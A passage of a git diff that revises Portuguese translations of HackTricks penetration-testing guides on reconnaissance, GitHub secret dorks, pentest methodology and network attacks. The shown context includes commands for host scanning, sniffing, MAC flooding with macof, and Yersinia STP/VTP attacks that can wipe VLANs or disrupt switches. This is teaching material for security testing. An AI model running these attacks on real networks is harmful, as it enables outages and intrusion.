muitas dessas ferramentas aqui: [ht Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio. -Para essa ação, você precisará de algumas **listas de palavras comuns de subdomínios como**: +Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**: * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -400,11 +400,11 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` * [**altdns**](https://github.com/infosec-au/altdns): Além de gerar permutações de subdomínios, ele também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente). -* Você pode obter as permutações do altdns **wordlist** [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt). +* Você pode obter a **wordlist** de permutações do altdns [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` -* [**dmut**](https://github.com/bp0lr/dmut): Outra ferramenta para realizar permutações, mutações e alterações de subdomínios. Esta ferramenta fará força bruta no resultado (não suporta wildcard dns). +* [**dmut**](https://github.com/bp0lr/dmut): Outra ferramenta para realizar permutações, mutações e alterações de subdomínios. Esta ferramenta fará brute force do resultado (não suporta wildcard dns). * Você pode obter a lista de palavras de permutações do dmut [**aqui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ @@ -426,7 +426,7 @@ echo www | subzuf facebook.com ``` ### **Fluxo de Trabalho de Descoberta de Subdomínios** -Confira este post no blog que escrevi sobre como **automatizar a descoberta de subdomínios** de um domínio usando **fluxos de trabalho do Trickest** para que eu não precise lançar manualmente um monte de ferramentas no meu computador: +Confira este post no blog que escrevi sobre como **automatizar a descoberta de subdomínios** a partir de um domínio usando **fluxos de trabalho do Trickest** para que eu não precise lançar manualmente um monte de ferramentas no meu computador: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} @@ -460,25 +460,25 @@ VHostScan -t example.com Com esta técnica, você pode até conseguir acessar endpoints internos/ocultos. {% endhint %} -### **CORS Brute Force** +### **Força Bruta de CORS** -Às vezes, você encontrará páginas que retornam apenas o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nesses cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**. +Às vezes, você encontrará páginas que retornam o cabeçalho _**Access-Control-Allow-Origin**_ apenas quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nesses cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **Buckets Brute Force** Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Além disso, como neste ponto você já conhecerá todos os domínios dentro do escopo, tente [**forçar nomes de buckets possíveis e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/). +Além disso, como neste ponto você já saberá todos os domínios dentro do escopo, tente [**forçar nomes de buckets possíveis e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/). ### **Monitorização** Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). -### **Procurando por vulnerabilidades** +### **Procurando vulnerabilidades** Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -Se o **subdomínio** estiver apontando para algum **S3 bucket**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/). +Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/). Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar **neste livro algumas dicas para "atacá-los"**.\ &#xNAN;_Note que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._ @@ -494,7 +494,7 @@ Usando serviços das seguintes **APIs gratuitas**, você também pode encontrar Você também pode verificar domínios apontando para um endereço IP específico usando a ferramenta [**hakip2host**](https://github.com/hakluke/hakip2host) -### **Procurando por vulnerabilidades** +### **Procurando vulnerabilidades** **Varra todas as portas dos IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**. @@ -557,7 +557,7 @@ Emails serão úteis mais tarde para **forçar logins web e serviços de autenti ## Vazamentos de Credenciais -Com os **domínios**, **subdomínios** e **emails**, você pode começar a procurar por credenciais vazadas no passado pertencentes a esses emails: +Com os **domínios,** **subdomínios** e **emails**, você pode começar a procurar por credenciais vazadas no passado pertencentes a esses emails: * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) @@ -572,7 +572,7 @@ Vazamentos de credenciais estão relacionados a hacks de empresas onde **informa ### Vazamentos do Github -Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa do github.\ +Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa no github.\ Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Leakos) para **baixar** todos os **repositórios públicos** de uma **organização** e de seus **desenvolvedores** e executar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre eles automaticamente. **Leakos** também pode ser usado para executar **gitleaks** contra todo o **texto** fornecido **URLs passadas** para ele, pois às vezes **páginas web também contêm segredos**. @@ -594,7 +594,7 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos) Dorks do Google, antigos mas valiosos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**. -_Nota que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá te bloquear muito em breve._ +_Observe que as ferramentas que esperam executar todo o banco de dados usando o navegador regular do Google nunca terminarão, pois o Google irá bloquear você muito em breve._ ### **Procurando vulnerabilidades** @@ -618,7 +618,7 @@ Existem também serviços gratuitos que permitem que você **escaneie repositór A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então, neste ponto, eu gostaria de falar sobre uma **metodologia de teste de aplicações web**, e você pode [**encontrar essas informações aqui**](../../network-services-pentesting/pentesting-web/). -Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de código aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.** +Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.** ## Recapitulação @@ -632,7 +632,7 @@ Então você já: 4. Encontrou todos os **subdomínios** dos domínios (algum takeover de subdomínio?) 5. Encontrou todos os **IPs** (de e **não de CDNs**) dentro do escopo. 6. Encontrou todos os **servidores web** e tirou uma **captura de tela** deles (algo estranho que vale uma olhada mais profunda?) -7. Encontrou todos os **ativos potenciais de nuvem pública** pertencentes à empresa. +7. Encontrou todos os **ativos de nuvem pública potenciais** pertencentes à empresa. 8. **Emails**, **vazamentos de credenciais** e **vazamentos de segredos** que podem te dar uma **grande vitória muito facilmente**. 9. **Pentesting todas as webs que você encontrou** @@ -651,7 +651,7 @@ Existem várias ferramentas por aí que realizarão parte das ações propostas
-Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluente em polonês escrito e falado é necessário_). +Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). {% embed url="https://www.stmcyber.com/careers" %} @@ -665,7 +665,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 1de4e3900..088a75517 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -1,28 +1,28 @@ -# Dorks e Vazamentos no Github +# Github Dorks & Leaks {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github. +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} \ -**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **bug bounty premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! +**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -Agora que construímos a lista de ativos do nosso escopo, é hora de procurar por algumas informações de baixo nível de OSINT. +Agora que construímos a lista de ativos do nosso escopo, é hora de procurar algumas frutas baixas de OSINT. -### Plataformas que já procuraram por vazamentos +### Plataformas que já pesquisaram por leaks * [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) @@ -323,16 +323,16 @@ AWS SECRET "private" extension:pgp ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 1edd0cb5b..057bb97bf 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,8 +1,8 @@ # Metodologia de Pentesting {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Treinamento Especialista em Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento Especialista em Red Team GCP (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -69,7 +69,7 @@ Existem também várias ferramentas que podem realizar **avaliações automátic #### **5.2 Força Bruta em serviços** -Em alguns cenários, uma **Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui um CheatSheet de diferentes serviços de força bruta**](brute-force.md)**.** +Em alguns cenários, uma **Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma CheatSheet de diferentes serviços de força bruta**](brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) @@ -106,7 +106,7 @@ Você também deve verificar estas páginas sobre como **Windows funciona**: * Como [**roubar credenciais**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) no Windows * Alguns truques sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/) -**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios locais no Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios local no Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Privesc de Domínio** @@ -122,11 +122,11 @@ Encontre aqui diferentes maneiras de [**extrair senhas no Windows**](https://git #### 11.2 - Persistência **Use 2 ou 3 tipos diferentes de mecanismos de persistência para que você não precise explorar o sistema novamente.**\ -**Aqui você pode encontrar alguns** [**truques de persistência em active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Aqui você pode encontrar alguns** [**truques de persistência no active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** TODO: Completar persistência Post em Windows & Linux -### 12 - Pivotando +### 12 - Pivoting Com as **credenciais coletadas**, você pode ter acesso a outras máquinas, ou talvez precise **descobrir e escanear novos hosts** (iniciar a Metodologia de Pentesting novamente) dentro de novas redes onde sua vítima está conectada.\ Nesse caso, o tunelamento pode ser necessário. Aqui você pode encontrar [**um post falando sobre tunelamento**](tunneling-and-port-forwarding.md).\ @@ -158,8 +158,8 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável - {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Treinamento Especialista em Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento Especialista em Red Team GCP (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/generic-methodologies-and-resources/pentesting-network/README.md b/generic-methodologies-and-resources/pentesting-network/README.md index ef91827ba..4ff5a4648 100644 --- a/generic-methodologies-and-resources/pentesting-network/README.md +++ b/generic-methodologies-and-resources/pentesting-network/README.md @@ -28,8 +28,8 @@ Nesta situação, você tem algum **escopo de IPs** (talvez até vários **inter ### ICMP Esta é a maneira **mais fácil** e **rápida** de descobrir se um host está ativo ou não.\ -Você pode tentar enviar alguns **pacotes ICMP** e **esperar respostas**. A maneira mais fácil é apenas enviar um **pedido de eco** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\ -Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para pedidos-respostas de eco ICMP comuns). +Você pode tentar enviar alguns **pacotes ICMP** e **esperar respostas**. A maneira mais fácil é apenas enviar um **echo request** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\ +Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para o comum echo request-response ICMP). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges @@ -59,7 +59,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` -A linha do nmap proposta anteriormente testará as **1000 principais portas UDP** em cada host dentro do intervalo **/24**, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Isso enviará essas **provas UDP** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ +A linha do nmap proposta anteriormente testará as **1000 principais portas UDP** em cada host dentro do **/24** range, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Isso enviará essas **provas UDP** para suas **portas esperadas** (para um range /24 isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ ### Descoberta de Portas SCTP ```bash @@ -184,7 +184,7 @@ nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` -### IDS e evasão de IPS +### Evasão de IDS e IPS {% content-ref url="ids-evasion.md" %} [ids-evasion.md](ids-evasion.md) @@ -198,7 +198,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ### Revelando Endereços IP Internos -**Roteadores, firewalls e dispositivos de rede mal configurados** às vezes respondem a sondagens de rede usando **endereços de origem não públicos**. **tcpdump** pode ser utilizado para identificar pacotes recebidos de endereços privados durante os testes. Especificamente, no Kali Linux, pacotes podem ser capturados na **interface eth2**, que é acessível a partir da Internet pública. É importante notar que, se sua configuração estiver atrás de um NAT ou um Firewall, tais pacotes provavelmente serão filtrados. +**Roteadores, firewalls e dispositivos de rede mal configurados** às vezes respondem a sondagens de rede usando **endereços de origem não públicos**. **tcpdump** pode ser utilizado para identificar pacotes recebidos de endereços privados durante os testes. Especificamente, no Kali Linux, pacotes podem ser capturados na **interface eth2**, que é acessível a partir da Internet pública. É importante notar que se sua configuração estiver atrás de um NAT ou um Firewall, tais pacotes provavelmente serão filtrados. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -208,7 +208,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` ## Sniffing -Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a estrutura de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo. +Com o Sniffing, você pode aprender detalhes de faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a estrutura de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo. Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC. @@ -218,7 +218,7 @@ sudo tcpdump -i udp port 53 #Listen to DNS request to discover what tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` -Pode-se, também, capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a GUI em tempo real. +Pode-se, também, capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a interface gráfica em tempo real. ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic @@ -268,15 +268,15 @@ macof -i ``` Em switches modernos, essa vulnerabilidade foi corrigida. -### 802.1Q VLAN / Ataques DTP +### 802.1Q VLAN / DTP Attacks -#### Trunking Dinâmico +#### Dynamic Trunking O **Dynamic Trunking Protocol (DTP)** é projetado como um protocolo de camada de enlace para facilitar um sistema automático de trunking, permitindo que os switches selecionem automaticamente portas para o modo trunk (Trunk) ou modo não-trunk. A implementação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, ressaltando a importância de configurar trunks manualmente apenas onde necessário e garantir a documentação adequada. -Por padrão, as portas dos switches são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLANs configurando interfaces virtuais. +Por padrão, as portas do switch são configuradas para operar no modo Dynamic Auto, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLANs configurando interfaces virtuais. -A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Padrão, Trunk, Dinâmico, Automático ou Acesso—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch. +A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego de todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Default, Trunk, Dynamic, Auto ou Access—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch. Caso uma vulnerabilidade de rede seja identificada, a ferramenta _**Yersinia**_ pode ser empregada para "habilitar trunking" via o protocolo DTP, permitindo a observação de pacotes de todas as VLANs. ```bash @@ -382,7 +382,7 @@ VTP (VLAN Trunking Protocol) centraliza a gestão de VLANs. Ele utiliza números #### VTP Domain Roles * **VTP Server:** Gerencia VLANs—cria, exclui, modifica. Ele transmite anúncios VTP para os membros do domínio. -* **VTP Client:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Este papel é restrito de modificações de configuração de VLAN local. +* **VTP Client:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Esse papel é restrito de modificações de configuração de VLAN local. * **VTP Transparent:** Não participa de atualizações VTP, mas encaminha anúncios VTP. Não é afetado por ataques VTP, mantendo um número de revisão constante de zero. #### VTP Advertisement Types @@ -391,7 +391,7 @@ VTP (VLAN Trunking Protocol) centraliza a gestão de VLANs. Ele utiliza números * **Subset Advertisement:** Enviado após alterações na configuração da VLAN. * **Advertisement Request:** Emitido por um cliente VTP para solicitar um Summary Advertisement, tipicamente em resposta à detecção de um número de revisão de configuração mais alto. -As vulnerabilidades do VTP são exploráveis exclusivamente através de portas trunk, pois os anúncios VTP circulam apenas por elas. Cenários pós-ataque DTP podem se voltar para o VTP. Ferramentas como Yersinia podem facilitar ataques VTP, visando eliminar o banco de dados de VLAN, efetivamente interrompendo a rede. +As vulnerabilidades do VTP são exploráveis exclusivamente através de portas trunk, uma vez que os anúncios VTP circulam apenas por elas. Cenários pós-ataque DTP podem se voltar para o VTP. Ferramentas como Yersinia podem facilitar ataques VTP, visando eliminar o banco de dados de VLAN, efetivamente interrompendo a rede. Nota: Esta discussão refere-se à versão 1 do VTP (VTPv1). ````bash @@ -401,7 +401,7 @@ No modo gráfico do Yersinia, escolha a opção de deletar todas as VLANs VTP pa ### Ataques STP -**Se você não conseguir capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.** +**Se você não consegue capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.** #### **STP BPDU DoS** @@ -413,14 +413,14 @@ yersinia stp -attack 3 ``` #### **Ataque STP TCP** -Quando um TCP é enviado, a tabela CAM dos switches será deletada em 15s. Então, se você estiver enviando continuamente esse tipo de pacotes, a tabela CAM será reiniciada continuamente (ou a cada 15 segundos) e, quando for reiniciada, o switch se comporta como um hub. +Quando um TCP é enviado, a tabela CAM dos switches será deletada em 15s. Então, se você estiver enviando continuamente esse tipo de pacotes, a tabela CAM será reiniciada continuamente (ou a cada 15 segundos) e quando for reiniciada, o switch se comporta como um hub. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` #### **Ataque de Raiz STP** -O atacante simula o comportamento de um switch para se tornar a raiz STP da rede. Assim, mais dados passarão por ele. Isso é interessante quando você está conectado a dois switches diferentes.\ +O atacante simula o comportamento de um switch para se tornar a raiz STP da rede. Então, mais dados passarão por ele. Isso é interessante quando você está conectado a dois switches diferentes.\ Isso é feito enviando pacotes BPDUs CONF dizendo que o valor de **prioridade** é menor do que a prioridade real do switch raiz atual. ```bash yersinia stp -attack 4 #Behaves like the root switch @@ -433,11 +433,11 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack ``` ### CDP Attacks -CISCO Discovery Protocol (CDP) é essencial para a comunicação entre dispositivos CISCO, permitindo que eles **se identifiquem e compartilhem detalhes de configuração**. +O CISCO Discovery Protocol (CDP) é essencial para a comunicação entre dispositivos CISCO, permitindo que eles **se identifiquem e compartilhem detalhes de configuração**. #### Passive Data Collection -CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffers de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada. +O CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffers de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada. #### Inducing CDP Table Flooding @@ -468,7 +468,7 @@ A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada pa 2. **Modo Spoof** (`-c 1`): Gera pacotes personalizados imitando os de um dispositivo VoIP real. 3. **Modo Spoof com Pacote Pré-fabricado** (`-c 2`): Envia pacotes idênticos aos de um modelo específico de telefone IP Cisco. -O modo preferido para velocidade é o terceiro. Ele requer especificar: +O modo preferido para velocidade é o terceiro. Ele requer a especificação de: * A interface de rede do atacante (`-i` parâmetro). * O nome do 